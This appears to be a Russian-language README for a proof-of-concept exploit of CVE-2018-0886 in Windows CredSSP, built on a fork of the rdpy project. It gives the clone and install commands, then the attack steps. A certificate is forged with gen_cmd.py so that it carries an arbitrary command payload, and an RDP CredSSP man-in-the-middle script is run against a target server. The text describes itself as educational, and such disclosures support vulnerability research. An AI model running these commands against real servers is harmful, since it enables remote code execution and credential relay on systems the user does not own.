credssp

Это PoC-код для эксплуатации CVE-2018-0886. Он предназначен только для образовательных целей. Он основан на форке проекта rdpy (https://github.com/preempt/rdpy), который также позволяет ретрансляцию credssp.

Автор: Eyal Karni, Preempt [email protected]

Сборка

Инструкции (Linux)

Если вы используете Ubuntu 14, обратитесь к install-файлу.. Тестировалось на Ubuntu 16.04.

$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git 
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install

• Предполагается относительно чистое начальное состояние. Лучше сначала удалить соответствующие компоненты, такие как cryptography, pyopenssl (pip uninstall cryptography).
• Для успешного запуска требуется установить другую версию openssl. Скрипт установки делает это.
• Пожалуйста, следуйте инструкциям в описанном порядке.

Запуск эксплойта

Экспортируйте сертификат, подходящий для проверки подлинности сервера, из любого домена. (Он используется для RDP https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn781533(v=ws.11))

Чтобы сгенерировать сертификат, который эксплуатирует уязвимость (содержит полезную нагрузку), используйте:

$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD 

(ExportedCert — это экспортированный сертификат из шага 1. exploitc.pem, exploitk.pem — сгенерированный сертификат и закрытый ключ соответственно)

Для запуска скрипта атаки:

$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer

Более подробная информация есть в разделах использования скриптов (--help).